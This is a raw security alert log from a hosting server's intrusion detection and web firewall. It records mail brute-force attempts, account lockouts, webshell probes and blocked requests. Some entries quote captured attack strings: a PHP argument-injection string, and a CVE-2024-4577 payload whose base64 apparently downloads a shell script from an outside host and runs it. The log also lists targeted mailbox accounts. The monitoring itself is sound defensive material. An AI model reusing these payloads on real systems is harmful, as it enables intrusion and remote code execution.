2026-01-31 12:00:13 dovecot_login authenticator failed for H=([203.252.10.4]) [203.252.10.4]:37629: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.28.86.1
country_id: 1819730
description:
2026-01-31 12:00:41 dovecot_login authenticator failed for H=(113-28-86-1.static.imsbiz.com) [113.28.86.1]:60098: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.242
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/x11.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:01:03 dovecot_login authenticator failed for H=(MnrDrHHr4) [158.94.209.22]:61180: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:01:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:01:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:01:15 dovecot_login authenticator failed for H=(n6i2PLC) [2.58.56.77]:60336: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.202
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/provision.conf||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: usfood.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/usfoodcom/public_html/wp-admin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.2
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/sudo.conf||User:root||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:02:33 dovecot_login authenticator failed for H=(SRPn41trHp) [158.94.209.22]:58546: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-31 12:02:33 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:50874: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.54.242.253
country_id: 2186224
description:
2026-01-31 12:02:40 dovecot_login authenticator failed for H=210-54-242-253.adsl.xtra.co.nz [210.54.242.253]:47790: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-31 12:02:43 H=([91.92.240.254]) [91.92.240.254]:55614 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<sale@generaltradinglite.com> rejected RCPT <enquiry@symphony-led.com>: SPF: 91.92.240.254 is not allowed to send mail from generaltradinglite.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-31 12:02:48 H=([45.144.212.50]) [45.144.212.50]:64036 F=<ccmsservice@bangkokbank.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from bangkokbank.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:02:15 dovecot_login authenticator failed for H=(Gr7I5Jc6) [158.94.209.22]:50754: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.141
country_id: 1819730
description:
2026-01-31 12:02:24 dovecot_login authenticator failed for H=([223.197.145.141]) [223.197.145.141]:51898: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-01-31 12:02:57 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:43994: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:02:03 dovecot_login authenticator failed for H=(WtF1SJSW) [2.58.56.77]:52234: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-01-31 12:02:20 dovecot_login authenticator failed for H=([128.185.12.179]) [128.185.12.179]:45396: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-31 12:03:14 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:52150: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:03:09 dovecot_login authenticator failed for H=(7zf23vQEs) [158.94.209.22]:57998: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 123.150.138.197
country_id: 1814991
description:
2026-01-31 12:03:54 31876 [Warning] Aborted connection 31876 to db: 'unconnected' user: 'unauthenticated' host: '123.150.138.197' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-01-31 12:03:44 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:49054: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 123.150.138.197
country_id: 1814991
description:
Jan 31 12:03:53 sv3 pure-ftpd[4086030]: (?@123.150.138.197) [INFO] New connection from 123.150.138.197


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:03:15 dovecot_login authenticator failed for H=(6bGdc5) [2.58.56.77]:55647: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.26
country_id: 1269750
description:
2026-01-31 12:03:31 dovecot_login authenticator failed for H=(nsg-corporate-247.223.187.122.airtel.in) [122.186.202.26]:36714: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.181.235.16
country_id: 102358
description:
2026-01-31 12:04:18 dovecot_login authenticator failed for H=(ADMIN) [95.181.235.16]:64189: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-01-31 12:04:35 dovecot_login authenticator failed for H=([182.78.199.185]) [182.95.230.74]:55452: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.193.149
country_id: 1643084
description:
2026-01-31 12:04:58 dovecot_login authenticator failed for H=([103.186.193.149]) [103.186.193.149]:44250: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:04:02 dovecot_login authenticator failed for H=(Ob6N4U7) [2.58.56.77]:59505: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:04:03 dovecot_login authenticator failed for H=(TZgZPn) [158.94.209.22]:50168: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.147.8
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/data/continents/Asia.txt HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 185.220.100.254
country_id: 2921044
domain: www.chs.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/HTWF/scripts/php/contact-form.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.97.59
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97051516695307 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:05:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:05:12 dovecot_login authenticator failed for H=(zhVvrf) [2.58.56.77]:51338: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:05:15 dovecot_login authenticator failed for H=(5eFdUu) [158.94.209.22]:55694: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:05:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:06:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:06:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:06:24 dovecot_login authenticator failed for H=(QWHFsbB5) [2.58.56.77]:50047: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:06:45 dovecot_login authenticator failed for H=(L4eNt5lhm0) [158.94.209.22]:63825: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:06:09 dovecot_login authenticator failed for H=(001zrn) [158.94.209.22]:63183: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 161.248.162.15
country_id: 1269750
domain: 42.0.28.25:80
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 161.248.162.15
country_id: 1269750
domain: 42.0.28.25:80
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:7.71||T:APACHE||SC:/var/www/html/hello.world||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.51.166
country_id: 1269750
description:
2026-01-31 12:07:57 dovecot_login authenticator failed for H=([182.95.51.166]) [182.95.51.166]:39098: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:07:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 123.150.138.197
country_id: 1814991
description:
Jan 31 12:07:04 sv3 pure-ftpd[4089106]: (?@123.150.138.197) [INFO] New connection from 123.150.138.197


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:07:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 161.248.162.15
country_id: 1269750
domain: 42.0.28.25:80
description:
IM360 WAF: PHP Injection Low value||MV:<?php shell_exec(base64_decode(\"KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw\")); echo(md5(\"Hello CVE-2024-4577\")); ?>||MVN:ARGS_NAMES:<?php shell_exec(base64_decode(\"KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw\")); echo(md5(\"Hello CVE-2024-4577\")); ?>||RSV:7.71||T:APACHE||SC:/var/www/html/hello.world||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:07:03 dovecot_login authenticator failed for H=(yRqoH2abdc) [158.94.209.22]:65014: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:07:10 dovecot_login authenticator failed for H=(mOadpSfFec) [2.58.56.77]:53533: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 161.248.162.15
country_id: 1269750
domain: 42.0.28.25:80
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 123.150.138.197
country_id: 1814991
description:
2026-01-31 12:07:04 31987 [Warning] Aborted connection 31987 to db: 'unconnected' user: 'unauthenticated' host: '123.150.138.197' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.84.209.188
country_id: 1814991
description:
2026-01-31 12:07:42 dovecot_login authenticator failed for H=([117.40.175.86]) [223.84.209.188]:34168: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-31 12:08:47 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:45406: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:08:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:08:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:08:18 dovecot_login authenticator failed for H=(p9SvbdiL) [2.58.56.77]:52030: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.41.149
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/Backup/contact.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.87.38
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=457703 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: ds-staffing.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/dsstaffing/public_html/images||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.142.125.33
country_id: 6252001
description:
2026-01-31 12:08:09 32018 [Warning] Aborted connection 32018 to db: 'unconnected' user: 'unauthenticated' host: '162.142.125.33' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:08:16 dovecot_login authenticator failed for H=(4k5JpuX) [158.94.209.22]:58711: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:09:10 dovecot_login authenticator failed for H=(PvSFeRV) [158.94.209.22]:54796: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.251.197.46
country_id: 1814991
description:
2026-01-31 12:09:15 dovecot_login authenticator failed for H=([101.251.197.46]) [101.251.197.46]:47083: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 12:09:23 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:57372: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.84
country_id: 1733045
description:
2026-01-31 12:09:30 dovecot_login authenticator failed for H=([49.125.201.84]) [49.125.201.84]:55680: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-31 12:09:45 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:34572: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:09:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:09:06 dovecot_login authenticator failed for H=(AkudnYj) [2.58.56.77]:65027: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:09:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-01-31 12:09:11 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:34746: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.47.2
country_id: 1269750
description:
2026-01-31 12:09:46 dovecot_login authenticator failed for H=([27.123.105.140]) [182.95.47.2]:45784: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-31 12:10:04 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:33512: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:10:12 dovecot_login authenticator failed for H=(oyyZWt) [2.58.56.77]:61148: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 12:10:51 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:53928: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:10:04 dovecot_login authenticator failed for H=(ZhAE2iS39o) [158.94.209.22]:49760: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-31 12:10:16 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:55555: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-01-31 12:10:18 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:58382: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-31 12:10:38 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:53866: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:10:58 dovecot_login authenticator failed for H=(HChH5J) [158.94.209.22]:51560: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:10:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:11:16 dovecot_login authenticator failed for H=(Y58Orp) [158.94.209.22]:59995: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.141.129
country_id: 1733045
description:
[2026-01-31 12:11:29 +0800] info [webmaild] 113.211.141.129 - s-osada@mckd.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:11:23 dovecot_login authenticator failed for H=(hOX13tC) [2.58.56.77]:60435: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-01-31 12:11:36 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:48992: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.19.200.63
country_id: 660013
description:
2026-01-31 12:12:09 dovecot_login authenticator failed for H=([146.19.200.63]) [146.19.200.63]:54488: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:12:10 dovecot_login authenticator failed for H=(z0h8aTep5b) [2.58.56.77]:57316: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:12:10 dovecot_login authenticator failed for H=(FHeS1KFO5h) [158.94.209.22]:57950: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.84.92.45
country_id: 1655842
description:
2026-01-31 12:12:06 dovecot_login authenticator failed for H=([115.84.92.45]) [115.84.92.45]:51494: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.98.80
country_id: 453733
description:
2026-01-31 12:12:17 dovecot_login authenticator failed for H=80-98-157-37.dyn.estpak.ee [37.157.98.80]:36774: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.192.16.174
country_id: 2963597
domain: www.oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/adriv4.php||SC:/home/oxboldc/public_html/assets/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:13:21 dovecot_login authenticator failed for H=(qyp4uCn) [2.58.56.77]:52556: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.79
country_id: 2300660
description:
2026-01-31 12:13:44 dovecot_login authenticator failed for H=([197.251.249.79]) [197.251.249.79]:34374: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:13:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:13:04 dovecot_login authenticator failed for H=(GaIIiTPk2v) [158.94.209.22]:63857: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-01-31 12:13:36 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net [111.70.32.50]:56507: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-31 12:14:40 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:42096: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:14:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 12:14:11 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:58202: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:14:16 dovecot_login authenticator failed for H=(5YgXKBOWv) [158.94.209.22]:63782: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.27.32.70
